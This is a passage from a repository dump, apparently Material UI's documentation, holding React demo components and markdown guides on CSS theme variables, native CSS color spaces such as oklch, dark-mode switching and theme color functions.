);\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/CustomColorSpace.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'colorSpace', // This is for the demo only, you don't need to set this to use the feature\n  },\n  palette: {\n    primary: {\n      main: 'oklch(0.65 0.3 28.95)',\n    },\n    warning: {\n      main: 'oklch(0.72 0.24 44.32)',\n    },\n  },\n});\n\nexport default function CustomColorSpace() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Card>\n        <CardContent>\n          <Alert severity=\"info\" color=\"warning\">\n            This theme uses the <code>oklch</code> color space.\n          </Alert>\n        </CardContent>\n        <CardActions sx={{ justifyContent: 'flex-end' }}>\n          <Button variant=\"contained\" color=\"primary\">\n            Submit\n          </Button>\n          <Button variant=\"outlined\" color=\"primary\">\n            Cancel\n          </Button>\n        </CardActions>\n      </Card>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/DisableTransitionOnChange.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider, useColorScheme } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport MenuItem from '@mui/material/MenuItem';\nimport Switch from '@mui/material/Switch';\nimport Select from '@mui/material/Select';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: '.demo-disable-transition-%s',\n  },\n  colorSchemes: { dark: true },\n});\n\nfunction ModeSwitcher() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Select\n      value={mode}\n      onChange={(event) => setMode(event.target.value)}\n      sx={{ minWidth: 120 }}\n    >\n      <MenuItem value=\"system\">System</MenuItem>\n      <MenuItem value=\"light\">Light</MenuItem>\n      <MenuItem value=\"dark\">Dark</MenuItem>\n    </Select>\n  );\n}\n\nexport default function DisableTransitionOnChange() {\n  const [disableTransition, setDisableTransition] = React.useState(false);\n  return (\n    <ThemeProvider\n      theme={theme}\n      disableNestedContext\n      disableTransitionOnChange={disableTransition}\n    >\n      <Stack\n        sx={{\n          width: '100%',\n          borderRadius: '4px',\n          p: 2,\n          gap: 2,\n          display: 'flex',\n          justifyContent: 'center',\n          alignItems: 'center',\n          bgcolor: 'background.default',\n          color: 'text.primary',\n          transition: '1s',\n        }}\n      >\n        <ModeSwitcher />\n        <FormControlLabel\n          control={\n            <Switch\n              checked={disableTransition}\n              onChange={(event) => setDisableTransition(event.target.checked)}\n            />\n          }\n          label=\"Disable transition\"\n        />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/DisableTransitionOnChange.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider, useColorScheme } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport MenuItem from '@mui/material/MenuItem';\nimport Switch from '@mui/material/Switch';\nimport Select from '@mui/material/Select';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: '.demo-disable-transition-%s',\n  },\n  colorSchemes: { dark: true },\n});\n\nfunction ModeSwitcher() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Select\n      value={mode}\n      onChange={(event) =>\n        setMode(event.target.value as 'system' | 'light' | 'dark')\n      }\n      sx={{ minWidth: 120 }}\n    >\n      <MenuItem value=\"system\">System</MenuItem>\n      <MenuItem value=\"light\">Light</MenuItem>\n      <MenuItem value=\"dark\">Dark</MenuItem>\n    </Select>\n  );\n}\n\nexport default function DisableTransitionOnChange() {\n  const [disableTransition, setDisableTransition] = React.useState(false);\n  return (\n    <ThemeProvider\n      theme={theme}\n      disableNestedContext\n      disableTransitionOnChange={disableTransition}\n    >\n      <Stack\n        sx={{\n          width: '100%',\n          borderRadius: '4px',\n          p: 2,\n          gap: 2,\n          display: 'flex',\n          justifyContent: 'center',\n          alignItems: 'center',\n          bgcolor: 'background.default',\n          color: 'text.primary',\n          transition: '1s',\n        }}\n      >\n        <ModeSwitcher />\n        <FormControlLabel\n          control={\n            <Switch\n              checked={disableTransition}\n              onChange={(event) => setDisableTransition(event.target.checked)}\n            />\n          }\n          label=\"Disable transition\"\n        />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ModernColorSpaces.js",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\n\nexport default function ModernColorSpaces() {\n  const colorSpaces = [\n    'color(display-p3 0.7 0.5 0)', // Mud\n    'oklch(0.62 0.25 29)', // Orange\n    'oklab(0.59 0.1 -0.14)', // Purple\n    'hsl(141, 70%, 48%)', // Green\n    'rgb(25, 118, 210)', // Blue\n  ];\n\n  const [selectedColor, setSelectedColor] = React.useState(colorSpaces[0]);\n\n  const theme = React.useMemo(\n    () =>\n      createTheme({\n        cssVariables: {\n          nativeColor: true,\n          cssVarPrefix: 'modern-color-spaces',\n        },\n        palette: {\n          primary: {\n            main: selectedColor,\n          },\n        },\n      }),\n    [selectedColor],\n  );\n\n  return (\n    <Box sx={{ display: 'flex', gap: 3, alignItems: 'center', flexWrap: 'wrap' }}>\n      <FormControl>\n        <FormLabel>Main color</FormLabel>\n        <RadioGroup\n          value={selectedColor}\n          onChange={(event) => setSelectedColor(event.target.value)}\n        >\n          {colorSpaces.map((value) => (\n            <FormControlLabel\n              key={value}\n              value={value}\n              control={<Radio />}\n              label={value}\n            />\n          ))}\n        </RadioGroup>\n      </FormControl>\n\n      <ThemeProvider theme={theme}>\n        <Button variant=\"contained\" size=\"large\">\n          Button\n        </Button>\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ModernColorSpaces.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\n\nexport default function ModernColorSpaces() {\n  const colorSpaces = [\n    'color(display-p3 0.7 0.5 0)', // Mud\n    'oklch(0.62 0.25 29)', // Orange\n    'oklab(0.59 0.1 -0.14)', // Purple\n    'hsl(141, 70%, 48%)', // Green\n    'rgb(25, 118, 210)', // Blue\n  ];\n\n  const [selectedColor, setSelectedColor] = React.useState(colorSpaces[0]);\n\n  const theme = React.useMemo(\n    () =>\n      createTheme({\n        cssVariables: {\n          nativeColor: true,\n          cssVarPrefix: 'modern-color-spaces',\n        },\n        palette: {\n          primary: {\n            main: selectedColor,\n          },\n        },\n      }),\n    [selectedColor],\n  );\n\n  return (\n    <Box sx={{ display: 'flex', gap: 3, alignItems: 'center', flexWrap: 'wrap' }}>\n      <FormControl>\n        <FormLabel>Main color</FormLabel>\n        <RadioGroup\n          value={selectedColor}\n          onChange={(event) => setSelectedColor(event.target.value)}\n        >\n          {colorSpaces.map((value) => (\n            <FormControlLabel\n              key={value}\n              value={value}\n              control={<Radio />}\n              label={value}\n            />\n          ))}\n        </RadioGroup>\n      </FormControl>\n\n      <ThemeProvider theme={theme}>\n        <Button variant=\"contained\" size=\"large\">\n          Button\n        </Button>\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/NativeCssColors.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'nativeColor', // This is for the demo only, you don't need to set this to use the feature\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n\nexport default function NativeCssColors() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Card>\n        <CardContent>\n          <Alert severity=\"info\">\n            This theme uses the <code>oklch</code> color space.\n          </Alert>\n        </CardContent>\n        <CardActions sx={{ justifyContent: 'flex-end' }}>\n          <Button variant=\"contained\" color=\"primary\">\n            Submit\n          </Button>\n          <Button variant=\"outlined\" color=\"primary\">\n            Cancel\n          </Button>\n        </CardActions>\n      </Card>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/NativeCssColors.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'nativeColor', // This is for the demo only, you don't need to set this to use the feature\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n\nexport default function NativeCssColors() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Card>\n        <CardContent>\n          <Alert severity=\"info\">\n            This theme uses the <code>oklch</code> color space.\n          </Alert>\n        </CardContent>\n        <CardActions sx={{ justifyContent: 'flex-end' }}>\n          <Button variant=\"contained\" color=\"primary\">\n            Submit\n          </Button>\n          <Button variant=\"outlined\" color=\"primary\">\n            Cancel\n          </Button>\n        </CardActions>\n      </Card>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ThemeColorFunctions.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { blue, purple, red, green, orange, brown } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    // This is for the demo only, you don't need to set this to use the feature\n    cssVarPrefix: 'demo',\n    colorSchemeSelector: 'data',\n  },\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n\nconst colorSwatches = [\n  { color: blue[500] },\n  { color: purple[500] },\n  { color: red[500] },\n  { color: brown[600] },\n  { color: green[600] },\n  { color: orange[500] },\n];\n\nfunction ColorDisplay({ color }) {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', gap: 2 }}>\n      <Box\n        sx={{\n          width: 48,\n          height: 48,\n          bgcolor: color,\n          borderRadius: 1,\n          border: '1px solid',\n          borderColor: 'divider',\n        }}\n      />\n      <Typography\n        variant=\"caption\"\n        sx={{\n          color: 'text.secondary',\n          fontFamily: 'monospace',\n          wordBreak: 'break-all',\n        }}\n      >\n        {color}\n      </Typography>\n    </Box>\n  );\n}\n\nColorDisplay.propTypes = {\n  color: PropTypes.string.isRequired,\n};\n\nexport default function ThemeColorFunctions() {\n  const [selectedColor, setSelectedColor] = React.useState(colorSwatches[0]);\n\n  const colorValues = {\n    alpha: theme.alpha(selectedColor.color, 0.5),\n    lighten: theme.lighten(selectedColor.color, 0.5),\n    darken: theme.darken(selectedColor.color, 0.5),\n  };\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ p: 2 }}>\n        <Box sx={{ display: 'flex', gap: 1, mb: 3, flexWrap: 'wrap' }}>\n          {colorSwatches.map((swatch) => {\n            const isSelected = selectedColor.color === swatch.color;\n            return (\n              <Button\n                key={swatch.color}\n                variant={isSelected ? 'contained' : 'outlined'}\n                onClick={() => setSelectedColor(swatch)}\n                sx={(t) => ({\n                  width: 56,\n                  height: 56,\n                  minWidth: 56,\n                  p: 0,\n                  fontSize: '0.625rem',\n                  fontFamily: 'monospace',\n                  borderColor: isSelected ? 'transparent' : swatch.color,\n                  bgcolor: isSelected ? swatch.color : 'transparent',\n                  color: isSelected\n                    ? t.palette.getContrastText(swatch.color)\n                    : swatch.color,\n                })}\n              >\n                {swatch.color}\n              </Button>\n            );\n          })}\n        </Box>\n        <Box\n          sx={{\n            display: 'grid',\n            gap: 2,\n            gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))',\n          }}\n        >\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.alpha(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.alpha} />\n          </div>\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.lighten(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.lighten} />\n          </div>\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.darken(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.darken} />\n          </div>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ThemeColorFunctions.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { blue, purple, red, green, orange, brown } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    // This is for the demo only, you don't need to set this to use the feature\n    cssVarPrefix: 'demo',\n    colorSchemeSelector: 'data',\n  },\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n\nconst colorSwatches = [\n  { color: blue[500] },\n  { color: purple[500] },\n  { color: red[500] },\n  { color: brown[600] },\n  { color: green[600] },\n  { color: orange[500] },\n];\n\nfunction ColorDisplay({ color }: { color: string }) {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center', gap: 2 }}>\n      <Box\n        sx={{\n          width: 48,\n          height: 48,\n          bgcolor: color,\n          borderRadius: 1,\n          border: '1px solid',\n          borderColor: 'divider',\n        }}\n      />\n      <Typography\n        variant=\"caption\"\n        sx={{\n          color: 'text.secondary',\n          fontFamily: 'monospace',\n          wordBreak: 'break-all',\n        }}\n      >\n        {color}\n      </Typography>\n    </Box>\n  );\n}\n\nexport default function ThemeColorFunctions() {\n  const [selectedColor, setSelectedColor] = React.useState(colorSwatches[0]);\n\n  const colorValues = {\n    alpha: theme.alpha(selectedColor.color, 0.5),\n    lighten: theme.lighten(selectedColor.color, 0.5),\n    darken: theme.darken(selectedColor.color, 0.5),\n  };\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ p: 2 }}>\n        <Box sx={{ display: 'flex', gap: 1, mb: 3, flexWrap: 'wrap' }}>\n          {colorSwatches.map((swatch) => {\n            const isSelected = selectedColor.color === swatch.color;\n            return (\n              <Button\n                key={swatch.color}\n                variant={isSelected ? 'contained' : 'outlined'}\n                onClick={() => setSelectedColor(swatch)}\n                sx={(t) => ({\n                  width: 56,\n                  height: 56,\n                  minWidth: 56,\n                  p: 0,\n                  fontSize: '0.625rem',\n                  fontFamily: 'monospace',\n                  borderColor: isSelected ? 'transparent' : swatch.color,\n                  bgcolor: isSelected ? swatch.color : 'transparent',\n                  color: isSelected\n                    ? t.palette.getContrastText(swatch.color)\n                    : swatch.color,\n                })}\n              >\n                {swatch.color}\n              </Button>\n            );\n          })}\n        </Box>\n        <Box\n          sx={{\n            display: 'grid',\n            gap: 2,\n            gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))',\n          }}\n        >\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.alpha(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.alpha} />\n          </div>\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.lighten(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.lighten} />\n          </div>\n          <div>\n            <Typography\n              variant=\"subtitle2\"\n              gutterBottom\n              sx={{ fontWeight: 'medium' }}\n            >\n              theme.darken(color, 0.5)\n            </Typography>\n            <ColorDisplay color={colorValues.darken} />\n          </div>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/configuration.md",
    "content": "# CSS theme variables - Configuration\n\n<p class=\"description\">A guide for configuring CSS theme variables in Material UI.</p>\n\n## Customizing variable prefix\n\nTo change the default variable prefix (`--mui`), provide a string to `cssVarPrefix` property, as shown below:\n\n```js\ncreateTheme({ cssVariables: { cssVarPrefix: 'any' } });\n\n// generated stylesheet:\n// --any-palette-primary-main: ...;\n```\n\nTo remove the prefix, use an empty string as a value:\n\n```js\ncreateTheme({ cssVariables: { cssVarPrefix: '' } });\n\n// generated stylesheet:\n// --palette-primary-main: ...;\n```\n\n## Toggling dark mode manually\n\nTo toggle between modes manually, set the `colorSchemeSelector` with one of the following selectors:\n\n- `class`: adds a class to the `<html>` element.\n\n  ```js class\n  createTheme({\n    colorSchemes: { light: true, dark: true },\n    cssVariables: {\n      colorSchemeSelector: 'class'\n    }\n  });\n\n  // CSS Result\n  .light { ... }\n  .dark { ... }\n  ```\n\n- `data`: adds a data attribute to the `<html>` element.\n\n  ```js data\n  createTheme({\n    colorSchemes: { light: true, dark: true },\n    cssVariables: {\n      colorSchemeSelector: 'data'\n    }\n  });\n\n  // CSS Result\n  [data-light] { ... }\n  [data-dark] { ... }\n  ```\n\n- `string`: adds a custom selector to the `<html>` element.\n\n  ```js string\n  // The value must start with dot (.) for class or square brackets ([]) for data\n  createTheme({\n    colorSchemes: { light: true, dark: true },\n    cssVariables: {\n      colorSchemeSelector: '.theme-%s'\n    }\n  });\n\n  // CSS Result\n  .theme-light { ... }\n  .theme-dark { ... }\n  ```\n\nThen, use `useColorScheme` hook to switch between modes:\n\n```jsx\nimport { useColorScheme } from '@mui/material/styles';\n\nfunction ModeSwitcher() {\n  const { mode, setMode } = useColorScheme();\n\n  if (!mode) {\n    return null;\n  }\n\n  return (\n    <select\n      value={mode}\n      onChange={(event) => {\n        setMode(event.target.value);\n        // For TypeScript, cast `event.target.value as 'light' | 'dark' | 'system'`:\n      }}\n    >\n      <option value=\"system\">System</option>\n      <option value=\"light\">Light</option>\n      <option value=\"dark\">Dark</option>\n    </select>\n  );\n}\n```\n\n:::success\nAfter React hydrates the tree, the mode is set to `system` to follow the user's preference.\n:::\n\n### Determining the system mode\n\nTo determine if the system mode is `light` or `dark`, use the `systemMode` property:\n\n```js\nconst { mode, systemMode } = useColorScheme();\n\nconsole.log(mode); // 'system'\nconsole.log(systemMode); // 'light' | 'dark'\n```\n\nHowever, if the mode is **not** `system`, the `systemMode` will be `undefined`.\n\n```js\nconst { mode, systemMode } = useColorScheme();\n\nconsole.log(mode); // 'light' | 'dark'\nconsole.log(systemMode); // undefined\n```\n\n### Preventing SSR flickering\n\nFor SSR (server-side rendering) applications, Material UI cannot detect the user-selected mode on the server, causing the screen to flicker from light to dark during the hydration phase on the client.\n\nTo prevent the issue, you need to ensure that there is no usage of `theme.palette.mode === 'dark'` in your code base.\n\nIf you have such a condition, replace it with the [`theme.applyStyles()` function](/material-ui/customization/dark-mode/#styling-in-dark-mode):\n\n```diff\n import Card from '@mui/material/Card';\n\n function App() {\n   return (\n     <Card\n-      sx={(theme) => ({\n-        backgroundColor: theme.palette.mode === 'dark' ? '#000' : '#fff',\n-        '&:hover': {\n-          backgroundColor: theme.palette.mode === 'dark' ? '#333' : '#f5f5f5',\n-        },\n-      })}\n+      sx={[\n+        {\n+          backgroundColor: '#fff',\n+          '&:hover': {\n+            backgroundColor: '#f5f5f5',\n+          },\n+        },\n+        (theme) =>\n+          theme.applyStyles('dark', {\n+            backgroundColor: '#000',\n+            '&:hover': {\n+              backgroundColor: '#333',\n+            },\n+          }),\n+      ]}\n     />\n   );\n }\n```\n\nNext, if you have a custom selector that is **not** `media`, add the [`InitColorSchemeScript`](/material-ui/react-init-color-scheme-script/) component based on the framework that you are using:\n\n:::success\nThe `attribute` has to be the same as the one you set in the `colorSchemeSelector` property:\n\n```js\ncreateTheme({\n  cssVariables: {\n    colorSchemeSelector: 'class'\n  }\n})\n\n<InitColorSchemeScript attribute=\"class\" />\n```\n\n:::\n\n### Next.js App Router\n\nAdd the following code to the [root layout](https://nextjs.org/docs/app/api-reference/file-conventions/layout#root-layouts) file:\n\n```jsx title=\"app/layout.js\"\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\nexport default function RootLayout(props) {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        {/* must come before the <main> element */}\n        <InitColorSchemeScript attribute=\"class\" />\n        <main>{children}</main>\n      </body>\n    </html>\n  );\n}\n```\n\n:::warning\nIf you don't add `suppressHydrationWarning` to your `<html>` tag, you will see warnings about `\"Extra attributes from the server\"` because `InitColorSchemeScript` updates that element.\n:::\n\n### Next.js Pages Router\n\nAdd the following code to the custom [`pages/_document.js`](https://nextjs.org/docs/pages/building-your-application/routing/custom-document) file:\n\n```jsx title=\"pages/_document.js\"\nimport Document, { Html, Head, Main, NextScript } from 'next/document';\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\nexport default class MyDocument extends Document {\n  render() {\n    return (\n      <Html>\n        <Head>...</Head>\n        <body>\n          {/* must come before the <Main> element */}\n          <InitColorSchemeScript attribute=\"class\" />\n          <Main />\n          <NextScript />\n        </body>\n      </Html>\n    );\n  }\n}\n```\n\n### Gatsby\n\nPlace the script in your [`gatsby-ssr.js`](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/) file:\n\n```jsx\nimport * as React from 'react';\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\nexport function onRenderBody({ setPreBodyComponents }) {\n  setPreBodyComponents([<InitColorSchemeScript attribute=\"class\" />]);\n}\n```\n\n## Forcing a specific color scheme\n\nTo force a specific color scheme for some part of your application, set the selector to the component or HTML element directly.\n\nIn the example below, all the components inside the `div` will always be dark:\n\n<codeblock>\n\n```js class\n// if the selector is '.mode-%s'\n<div className=\".mode-dark\">\n  <Paper sx={{ p: 2 }}>\n    <TextField label=\"Email\" type=\"email\" margin=\"normal\" />\n    <TextField label=\"Password\" type=\"password\" margin=\"normal\" />\n    <Button>Sign in</Button>\n  </Paper>\n  {/* other components */}\n</div>\n```\n\n```js data-attribute\n// if the selector is '[data-mode-%s]'\n<div data-mode-dark>\n  <Paper sx={{ p: 2 }}>\n    <TextField label=\"Email\" type=\"email\" margin=\"normal\" />\n    <TextField label=\"Password\" type=\"password\" margin=\"normal\" />\n    <Button>Sign in</Button>\n  </Paper>\n  {/* other components */}\n</div>\n```\n\n</codeblock>\n\n## Disabling CSS color scheme\n\nBy default, `createTheme()` attaches a [CSS `color-scheme` property](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme) based on the palette mode.\nYou can disable this by setting `disableCssColorScheme` to `true`:\n\n```js\ncreateTheme({\n  cssVariables: { disableCssColorScheme: true },\n});\n```\n\nThe generated CSS will not include the `color-scheme` property:\n\n```diff\n @media (prefers-color-scheme: dark) {\n   :root {\n-    color-scheme: dark;\n     --mui-palette-primary-main: #90caf9;\n     ...\n   }\n }\n```\n\n## Instant transition between color schemes\n\nTo disable CSS transitions when switching between modes, apply the `disableTransitionOnChange` prop:\n\n```js\n<ThemeProvider disableTransitionOnChange />\n```\n\n{{\"demo\": \"DisableTransitionOnChange.js\"}}\n\n## Force theme recalculation between modes\n\nBy default, the `ThemeProvider` does not re-render when switching between light and dark modes when `cssVariables: true` is set in the theme.\n\nIf you want to opt-out from this behavior, use the `forceThemeRerender` prop in the ThemeProvider:\n\n```js\n<ThemeProvider forceThemeRerender />\n```\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/native-color.md",
    "content": "# CSS theme variables - Native color\n\n<p class=\"description\">Learn how to use native color with CSS theme variables.</p>\n\n:::warning\nThis feature only works in modern browsers. Please check the [browser support](https://caniuse.com/css-relative-colors) before using it.\n:::\n\n## Benefits\n\n- No need to use JavaScript to manipulate colors.\n- Supports modern color spaces such as `oklch`, `oklab`, and `display-p3`.\n- Supports color aliases to external CSS variables.\n- Automatically calculates contrast text from the main color.\n\n## Usage\n\nSet `cssVariables` with `nativeColor: true` in the theme options.\nMaterial UI will start using CSS color-mix and relative color instead of the JavaScript color manipulation.\n\n:::success\nTry inspecting the demo below to see the calculated values of the color tokens.\n:::\n\n```js\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n  },\n});\n```\n\n{{\"demo\": \"NativeCssColors.js\"}}\n\n## Modern color spaces\n\nThe theme palette supports all modern color spaces, including `oklch`, `oklab`, and `display-p3`.\n\n```js\nconst theme = createTheme({\n  cssVariables: { nativeColor: true },\n  palette: {\n    primary: {\n      main: 'color(display-p3 0.5 0.8 0.2)',\n    },\n  },\n});\n```\n\n{{\"demo\": \"ModernColorSpaces.js\"}}\n\n## Aliasing color variables\n\nIf you're using CSS variables to define colors, you can provide the values to the theme palette options.\n\n```js\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n  },\n  palette: {\n    primary: {\n      main: 'var(--colors-brand-primary)',\n    },\n  },\n});\n```\n\n{{\"demo\": \"AliasColorVariables.js\"}}\n\n## Theme color functions\n\nThe theme object contains these color utilities: `alpha()`, `lighten()`, and `darken()`.\n\nWhen native color is enabled, these functions use CSS `color-mix()` and relative color instead of the JavaScript color manipulation.\n\n{{\"demo\": \"ThemeColorFunctions.js\"}}\n\n:::info\nThe theme color functions are backward compatible.\nIf native color is not enabled, they will fall back to the JavaScript color manipulation.\n:::\n\n## Contrast color function\n\nThe `theme.palette.getContrastText()` function produces the contrast color.\nThe demo below shows the result of the `theme.palette.getContrastText()` function, which produces the text color based on the selected background.\n\n{{\"demo\": \"ContrastTextDemo.js\"}}\n\n:::info\nThe CSS variables `--__l` and `--__a` are internal variables set globally by Material UI.\n\nTo learn more about the formulas used, see [this article on color contrast from Lea Verou](https://lea.verou.me/blog/2024/contrast-color/).\n:::\n\n## Caveats\n\n- Because of the differences in how contrast is calculated between CSS and JavaScript, the resulting CSS colors may not exactly match the corresponding JavaScript colors to be replaced.\n- In the future, the relative color contrast will be replaced by the native [CSS `contrast-color()` function](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Values/color_value/contrast-color) when browser support is improved.\n- For relative color contrast, the color space is automatically set to `oklch` internally. Currently it's not possible to change this, but please [open an issue](https://github.com/mui/material-ui/issues/new/) if you have a use case that calls for it.\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/overview.md",
    "content": "# CSS theme variables\n\n<p class=\"description\">An overview of adopting CSS theme variables in Material UI.</p>\n\n[CSS variables](https://www.w3.org/TR/css-variables-1/) are a modern cross-browser feature that let you declare variables in CSS and reuse them in other properties.\nYou can implement them to improve Material UI's theming and customization experience.\n\n:::info\nIf this is your first time encountering CSS variables, you should check out [the MDN Web Docs on CSS custom properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Cascading_variables/Using_custom_properties) before continuing here.\n:::\n\n## Introduction\n\nCSS theme variables replace raw values in Material UI components for a better developer experience because, in the browser dev tool, you will see which theme token is used as a value.\n\nIn addition with these variables, you can inject a theme into your app's stylesheet _at build time_ to apply the user's selected settings before the whole app is rendered.\n\n## Advantages\n\n- It lets you prevent [dark-mode SSR flickering](https://github.com/mui/material-ui/issues/27651).\n- You can create unlimited color schemes beyond `light` and `dark`.\n- It offers a better debugging experience not only for developers but also designers on your team.\n- The color scheme of your website is automatically synced between browser tabs.\n- It simplifies integration with third-party tools because CSS theme variables are available globally.\n- It reduces the need for a nested theme when you want to apply dark styles to a specific part of your application.\n\n## Trade-offs\n\nFor server-side applications, there are some trade-offs to consider:\n\n|                                                              | Compare to the default method | Reason                                                                                                         |\n| :----------------------------------------------------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------- |\n| HTML size                                                    | Bigger                        | CSS variables are generated for both light and dark mode at build time.                                        |\n| [First Contentful Paint (FCP)](https://web.dev/articles/fcp) | Longer                        | Since the HTML size is bigger, the time to download the HTML before showing the content is a bit longer.       |\n| [Time to Interactive (TTI)](https://web.dev/articles/tti)    | Shorter (for dark mode)       | Stylesheets are not regenerated between light and dark mode, a lot less time is spent running JavaScript code. |\n\n:::warning\nThe comparison described in the table above may not be applicable to large and complex applications since there are so many factors that can impact performance metrics.\n:::\n\n## What's next\n\n- To start a new project with CSS theme variables, check out the [basic usage guide](/material-ui/customization/css-theme-variables/usage/).\n- For theming and customization, check out the [how-to guide](/material-ui/customization/css-theme-variables/configuration/).\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/usage.md",
